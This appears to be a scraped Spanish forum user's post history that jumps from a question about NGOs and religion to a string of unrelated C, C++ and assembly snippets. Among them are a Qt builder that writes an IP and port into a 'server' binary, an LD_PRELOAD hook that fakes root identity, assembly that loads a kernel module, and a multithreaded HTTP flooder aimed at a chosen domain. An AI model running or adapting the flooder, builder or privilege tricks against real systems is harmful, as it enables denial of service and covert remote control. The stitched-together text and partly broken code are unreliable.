¿Están la mayoría de las ONG vinculadas a la religión, o por el contrario la mayoría son laicas? No he podido encontrar una respuesta a esta cuestión, a ver si alguien sabe algo.
Saludos.
Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
.galleryPhoto
{
transition: transform 1s ease-in-out 0.1s;
margin: 5px;
}
.galleryPhoto:hover
{
transform: scale(3);
}
#include <iostream>
#include <iomanip>
static char ip[30] __asm__("__IP__") = "__IP__ here";
static char port[30] __asm__ ("__PORT__") = "__PORT__ here";
int main(int argc, char **argv)
{
std::cout << "ip address: " << std::hex << (void*) ip << std::endl;
std::cout << "port address: " << std::hex << (void*) port << std::endl;
std::cout << "IP: " << ip << std::endl;
std::cout << "Port: " << port << std::endl;
/* ... */
return 0;
}
#ifndef MAINWINDOW_HPP
#define MAINWINDOW_HPP
#include <QMainWindow>
#include <QWidget>
#include <QVBoxLayout>
#include <QLineEdit>
#include <QPushButton>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <elf.h>
#include <stdint.h>
#include <cstring>
#include <iostream>
#include <iomanip>
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
MainWindow(QWidget *parent = 0);
~MainWindow();
public slots:
void onButton();
private:
QWidget *centralWidget; // Central widget
QVBoxLayout *layout; // Window's layout
QLineEdit *ipEdit; // Edit for the IP
QLineEdit *portEdit; // Edit for the port
QPushButton *button; // Button to build the server
};
#endif // MAINWINDOW_HPP
#include "mainwindow.hpp"
MainWindow::MainWindow(QWidget *parent)
: QMainWindow(parent)
{
/* Constructor to build the GUI */
centralWidget = new QWidget();
layout = new QVBoxLayout();
ipEdit = new QLineEdit();
portEdit = new QLineEdit();
button = new QPushButton("Build!");
layout->addWidget(ipEdit);
layout->addWidget(portEdit);
layout->addWidget(button);
centralWidget->setLayout(layout);
setCentralWidget(centralWidget);
connect(button, SIGNAL(clicked()), this, SLOT(onButton()));
}
MainWindow::~MainWindow()
{
/* Delete reserved objects */
delete ipEdit;
delete portEdit;
delete button;
delete layout;
delete centralWidget;
}
void MainWindow::onButton()
{
int fdIn, fdOut; // Input and output files
fdIn = open("server", O_RDONLY); // Open input file
struct stat st;
fstat(fdIn, &st); // Get input file size
/* Map input file into memory */
void *map = mmap(0, st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fdIn, 0);
Elf32_Ehdr *hdr = (Elf32_Ehdr*) map; /* Get the ELF header,
that's at the start of the file*/
/* Get pointer to the ELF sections */
Elf32_Shdr *sections = (Elf32_Shdr*) ((char*) map + hdr->e_shoff);
/* Get pointer to the .shstrtab section content */
char *shStrTabData = (char*) map+sections[hdr->e_shstrndx].sh_offset;
Elf32_Shdr tabs[2]; // First symtab, second strtab
/* Find and save .symtab and .strtab sections */
const char *sectionNames[] = {".symtab", ".strtab"};
for(int i=0; i<2; i++)
{
for(int j=0; j<hdr->e_shnum; j++)
{
if(!strcmp(shStrTabData+sections[j].sh_name, sectionNames[i]))
{
tabs[i] = sections[j];
break;
}
}
}
//std::cout << ".symtab at offset " << std::hex << tabs[0].sh_offset << std::endl;
//std::cout << ".strtab at offset " << std::hex << tabs[1].sh_offset << std::endl;
/* Get pointer to the .strtab section content */
char *strTabData = (char*) map + tabs[1].sh_offset;
/* Get pointer to the symbols in the .symtab section */
Elf32_Sym *syms = (Elf32_Sym*) ((char*) map + tabs[0].sh_offset);
Elf32_Sym toModify[2]; // First __IP__, second __PORT__
const char *symbolNames[] = {"__IP__", "__PORT__"};
// Find and save the symbols we want to modify
for(int i=0; i<2; i++)
{
for(unsigned int j=0; j<(tabs[0].sh_size/sizeof(Elf32_Sym)); j++)
{
if(!strcmp(strTabData+syms[j].st_name, symbolNames[i]))
{
toModify[i] = syms[j];
}
}
}
//std::cout << "__IP__ value: " << std::hex << toModify[0].st_value << std::endl;
//std::cout << "__PORT__ value: " << std::hex << toModify[1].st_value << std::endl;
Elf32_Off ipOff, portOff;
/* Find symbols offsets: get symbol offset into the section that
contains the symbol: symbol_address - section_base_address; and then
add the offset of the section into the file */
ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
sections[toModify[0].st_shndx].sh_offset;
portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
sections[toModify[1].st_shndx].sh_offset;
//std::cout << "__IP__ section: " << shStrTabData+sections[toModify[0].st_shndx].sh_name << std::endl;
//std::cout << "__PORT__ section: " << shStrTabData+sections[toModify[1].st_shndx].sh_name << std::endl;
//std::cout << "__IP__ offset: " << std::hex << ipOff << std::endl;
//std::cout << "__PORT__ offset: " << std::hex << portOff << std::endl;
// Put the text in the edit in the file at the offsets
strcpy((char*) map+ipOff, ipEdit->text().toStdString().c_str());
strcpy((char*) map+portOff, portEdit->text().toStdString().c_str());
/* Open output file and write the memory map to it */
fdOut = open("server-built", O_TRUNC|O_CREAT|O_WRONLY, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IROTH);
write(fdOut, map, st.st_size);
::close(fdOut);
munmap(map, st.st_size);
::close(fdIn);
}
#include "mainwindow.hpp"
#include <QApplication>
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
MainWindow w;
w.show();
return a.exec();
}
ipOff = toModify[0].st_value - sections[toModify[0].st_shndx].sh_addr +
sections[toModify[0].st_shndx].sh_offset;
portOff = toModify[1].st_value - sections[toModify[1].st_shndx].sh_addr +
sections[toModify[1].st_shndx].sh_offset;
#include <iostream>
#include <random>
#include <cstdlib>
#include <ctime>
int main(int argc, char **argv)
{
std::mt19937 rng;
std::srand(time(NULL));
uint32_t seed = std::rand();
rng.seed(seed);
uint32_t stats[10] = {0}, current;
std::cout << "*** Random number generation test ***" << std::endl;
std::uniform_int_distribution<uint32_t> uint_dist(0, 10);
for(size_t i=0; i<56000u; i++)
{
current = uint_dist(rng);
stats[current-1]++;
std::cout << current << ' ' << std::endl;
}
std::cout << "*** Number of times for each number ***" << std::endl;
size_t i=1;
for(auto x : stats)
{
std::cout << "$ " << i++ << '\t' << x << std::endl;
}
std::cout << "*** End of the test ***" << std::endl;
return 0;
}
/* hook.c */
#include <sys/types.h>
uid_t getuid()
{
return 0;
}
uid_t geteuid()
{
return 0;
}
$ gcc -c -fPIC hook.c -o libhook.o
$ gcc -shared -fPIC libhook.o -o libhook.so
$ LD_PRELOAD=ruta/a/libreria/libhook.so bash
root@computer_name:~# whoami
root
; Will return the length of a null-terminated string
; The result will be written to ECX
;
; Usage:
; hello_tmp db "test",0
; ...
; ccall strlen, hello_tmp
proc strlen, strInput
mov ecx,-1
mov al,0
mov edi,[strInput]
cld
repne scasb
not ecx
dec ecx
ret
endp
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - $$
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 5 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
mov ebx, 0
xor eax, eax
inc eax
int 0x80
filesize equ $ - $$
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <elf.h>
int main(int argc, char **argv)
{
char *shstrtabdata, *strtabdata, *dynstrdata;
int i, off;
bool strtabf=true, symtabf=true, dynsymf=true;
size_t ret;
Elf32_Ehdr *hdr = malloc(sizeof(Elf32_Ehdr));
Elf32_Shdr shdr, shstrtab, strtab, dynsym, dynstr;
Elf32_Sym sym;
FILE *dyn = fopen(argv[1], "rb");
if(!dyn)
{
perror("fopen");
exit(1);
}
fread(hdr, sizeof(Elf32_Ehdr), 1, dyn);
fseek(dyn, hdr->e_shoff+hdr->e_shentsize*hdr->e_shstrndx, SEEK_SET);
fread(&shstrtab, sizeof(shstrtab), 1, dyn);
shstrtabdata = malloc(shstrtab.sh_size);
if(!shstrtabdata)
{
perror("malloc");
exit(2);
}
fseek(dyn, shstrtab.sh_offset, SEEK_SET);
fread(shstrtabdata, 1, shstrtab.sh_size, dyn);
fseek(dyn, hdr->e_shoff, SEEK_SET);
fwrite(shstrtabdata, 1, shstrtab.sh_size, stdin);
for(i=0; i<hdr->e_shnum; i++)
{
fread(&shdr, sizeof(shdr), 1, dyn);
if(!strcmp(shstrtabdata+shdr.sh_name, ".symtab"))
{
printf(".symtab encontrada: offset: 0x%x\n", shdr.sh_offset);
printf("Tamaño de .symtab: %d\n", shdr.sh_size);
printf("Numero de sym headers: %f\n", (float) shdr.sh_size/(float) sizeof(Elf32_Sym));
symtabf = false;
break;
}
}
if(symtabf)
{
printf("sección .symtab no encontrada.\n");
}
fseek(dyn, hdr->e_shoff, SEEK_SET);
for(i=0; i<hdr->e_shnum; i++)
{
fread(&dynsym, sizeof(dynsym), 1, dyn);
if(!strcmp(shstrtabdata+dynsym.sh_name, ".dynsym"))
{
printf(".dynsym encontrada: offset: 0x%x\n", dynsym.sh_offset);
dynsymf=false;
break;
}
}
fseek(dyn, hdr->e_shoff, SEEK_SET);
for(i=0; i<hdr->e_shnum; i++)
{
fread(&dynstr, sizeof(dynstr), 1, dyn);
if(!strcmp(shstrtabdata+dynstr.sh_name, ".dynstr"))
{
printf(".dynstr encontrada: offset: 0x%x\n", dynstr.sh_offset);
printf("Tamaño de .dynstr: 0x%x\n", dynstr.sh_size);
break;
}
}
dynstrdata = malloc(dynstr.sh_size);
if(!dynstrdata)
{
perror("malloc");
exit(5);
}
fseek(dyn, dynstr.sh_offset, SEEK_SET);
ret = fread(dynstrdata, 1, dynstr.sh_size, dyn);
fseek(dyn, hdr->e_shoff, SEEK_SET);
for(i=0; i<hdr->e_shnum; i++)
{
fread(&strtab, sizeof(strtab), 1, dyn);
if(!strcmp(shstrtabdata+strtab.sh_name, ".strtab"))
{
printf(".strtab encontrada: offset: 0x%x\n", strtab.sh_offset);
strtabf = false;
break;
}
}
if(strtabf)
{
printf("sección .strtab no encontrada.\n");
}
if(!strtabf)
{
strtabdata = malloc(strtab.sh_size);
if(!strtabdata)
{
perror("malloc");
exit(3);
}
fseek(dyn, strtab.sh_offset, SEEK_SET);
ret=fread(strtabdata, 1, strtab.sh_size, dyn);
if(ret!=strtab.sh_size)
{
perror("fread");
exit(4);
}
}
fseek(dyn, shdr.sh_offset, SEEK_SET);
if(!symtabf)
{
printf("***Symtab***\n\n");
i=0;
while(shdr.sh_size>i)
{
ret=fread(&sym, sizeof(sym), 1, dyn);
i+=sizeof(sym);
printf("%s\n", strtabdata+sym.st_name);
printf("Direccion: 0x%x\t", sym.st_value);
printf("Tamaño: 0x%x\t", sym.st_size);
if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
if(sym.st_info & STT_OBJECT) printf("Data object\t");
if(sym.st_info & STT_FUNC) printf("Funcion\t");
if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
printf("\n");
}
printf("Numero de simbolos: %d\n", i/16);
}
fseek(dyn, dynsym.sh_offset, SEEK_SET);
if(!dynsymf)
{
printf("***Dynsym***\n\n");
i=0;
while(dynsym.sh_size>i)
{
ret=fread(&sym, sizeof(sym), 1, dyn);
i+=sizeof(sym);
printf("%s\n", dynstrdata+sym.st_name);
printf("Direccion: 0x%x\t", sym.st_value);
printf("Tamaño: 0x%x\t", sym.st_size);
if(sym.st_info & STT_NOTYPE) printf("Tipo no definido\t");
if(sym.st_info & STT_OBJECT) printf("Data object\t");
if(sym.st_info & STT_FUNC) printf("Funcion\t");
if(sym.st_info & STT_FILE) printf("Fichero fuente\t");
printf("\n");
}
printf("Numero de simbolos: %d\n", i/16);
}
if(!strtabf) free(strtabdata);
free(shstrtabdata);
if(!dynsymf) free(dynstrdata);
return 0;
}
push 0x80484ee
68 ee 84 04 08
extern init_module
section .text
global _start
_start:
xor eax,eax
add eax,0x31
int 0x80
test eax,eax
jz init
exit:
xor eax,eax
inc eax
xor ebx,ebx
or ebx,eax
int 0x80
init:
xor eax,eax
or eax,80
add eax,48
push image
jmp n
m:
call init_module
jmp exit
n:
call m
name:
db "mylkm.o",0
section .bss
image: resb (tamanio de struct image)
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <stdbool.h>
#define MAX_dani 0xF0000
struct params{ /* En esta estructura se almacenan los parametros de la funcion t*/
char web[20]; // Dominio web
int port; // Puerto (sera el 80, para peticiones HTTP)
int thread; // El numero de thread
int nrequests; // El numero de peticiones
int sleeptime; // El tiempo de espera entre cada peticion
};
int total_requests; // Para almacenar el numero total de peticiones
pthread_mutex_t lock; // Para evitar que varios threads modifiquen total_requests a la vez
int nthreads; // Numero de threads a crear
void* t(void *p) /* Esta es la funcion que va a ejecutar cada thread*/
{
int n = ((struct params*)p)->thread+1; // El numero de thread
printf("Proceso %i: presente\n", n); // Presentacion
char request[128]; // Para almacenar la peticion
_Bool connected; // Variable auxiliar, indica si el socket esta conectado
struct hostent *host = gethostbyname(((struct params*)p)->web); // Obtener la IP de la web
if(!host)
{
printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
return NULL;
}
printf("Proceso %i: Direccion IP(v4): %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
/*Para getpeername()*/
struct sockaddr sockbuf;
int stsize = sizeof(sockbuf);
/*Preparar los datos de la conexion */
struct sockaddr_in sock;
sock.sin_family = AF_INET;
sock.sin_port = htons(((struct params*)p)->port);
sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Creamos el socket
if(sockfd==-1)
{
printf("Proceso %i: No se pudo crear el socket\n", n);
return NULL;
}
printf("Proceso %i: Socket creado\n", n);
printf("Proceso %i: Conectando...\n", n);
int aux;
connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)); // Conectamos
printf("Proceso %i: Conectado\n", n);
connected=true;
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name); // Ponemos la peticion en una cadena
printf("Proceso %i: Peticion en request\n", n);
for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
{
if(getpeername(sockfd, &sockbuf, &stsize)<0) // Comprobar que el socket esta conectado
{
if(errno==ENOTCONN) // Si no lo esta, cerrar y reconectar
printf("Proceso %i: Reconectando socket...\n", n);
close(sockfd);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1)
{
connected=false;
break;
}
}
if(!connected) // Si no se pudo reconectar, decrementar aux y reiniciar el bucle
{
aux--;
continue;
}
write(sockfd, request, strlen(request)); // Hacer la peticion HTTP
printf("Proceso %i: %i peticion/es\n", n, aux+1);
pthread_mutex_lock(&lock); // Incrementar el numero total de peticiones
total_requests++;
pthread_mutex_unlock(&lock);
sleep(((struct params*)p)->sleeptime); // Pausar
}
close(sockfd); // Cerrar el socket
pthread_exit(NULL); // Salir
}
int main(int argc, char *argv[])
{
/*Tratamiento de linea de comandos*/
if(argc!=6)
{
printf("Uso: %s numero_de_threads dominio_web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera\n", argv[0]);
exit(0);
}
/*Inicializar algunas estructuras y parametros*/
pthread_mutex_init(&lock, NULL);
pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
pthread_attr_t a;
struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
int i, ret, j; // Algunas variables auxiliares
nthreads = atoi(argv[1]); // Numero de threads
for(j=0; j<nthreads; j++)
{
strcpy(p[j].web, argv[2]);
p[j].thread = j;
p[j].port = atoi(argv[3]);
p[j].nrequests = atoi(argv[4]);
p[j].sleeptime = atoi(argv[5]);
}
/*Setear la cantidad de memoria que un thread puede usar*/
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, MAX_dani);
/*Saber el tiempo que hace que se inicio el programa*/
time_t start=time(NULL), end;
/*Crear los threads*/
for(i=0; i<nthreads; i++)
{
ret = pthread_create(&mythreads[i], &a, t, &p[i]);
switch(ret)
{
case 0:
printf("Thread %i creado\n", i+1);
break;
case EAGAIN:
printf("EAGAIN\n");
_exit(1);
case EINVAL:
printf("EINVAL\n");
_exit(2);
case EPERM:
printf("EPERM\n");
_exit(3);
}
}
/*Esperar a que terminen los threads, liberar memoria y mostrar algunas estadisticas aproximadas*/
pthread_attr_destroy(&a);
for(j=0; j<nthreads; j++)
pthread_join(mythreads[j], NULL);
end=time(NULL);
pthread_mutex_destroy(&lock);
printf("Retornaron los hilos\n");
printf("Total de peticiones: %i\n", total_requests);
printf("Numero de peticiones por segundo: %lf\n", total_requests/((double)(difftime(end, start))));
free(mythreads);
free(p);
return 0;
}
echo $?
_Bool bit(char *a, int b)
{
int index = (b/8)-1;
if(b%8) index++;
if((a[index]>>(8-(b%8)))%2) return true;
return false;
}
#include <dlfcn.h>
#include <stdio.h>
int main()
{
typedef int (*function)(int, int);
void* handle = dlopen("libtest.so", RTLD_LAZY);
if(!handle){ printf("dlopen"); return 1; }
function fnc = (function) dlsym(handle, "SampleAddInt");
fnc();
dlclose(handle);
return 0;
}
#include <unistd.h>
int main()
{
while(1)
{
if(!geteuid())
{
//Codigo aqui
}
else sleep(15);
}
return 0;
}
#include <unistd.h>
#include <sys/poll.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
FILE* log = fopen("log.txt", "a");
struct pollfd input[1];
input[0].fd = 1;
input[0].events = POLLIN;
int event;
char chevent;
while(1)
{
event = poll(input, 1, 1);
if(event>=0){
chevent = event;
fprintf(log, "%c", chevent);
fflush(log);}
}
return 0;
}
#include <iostream>
#include <dlfcn.h>
using std::cout;
int main()
{
int a=2, b=3;
int fptr(int, int);
void* handle = dlopen("libprueba.so", RTLD_LAZY);
fptr = (int(int, int))dlsym(handle, "SampleAddInt");
int c = fptr(a, b);
cout << c;
dlclose(handle);
return 0;
}
int SampleAddInt(int i1, int i2)
{
return i1 + i2;
}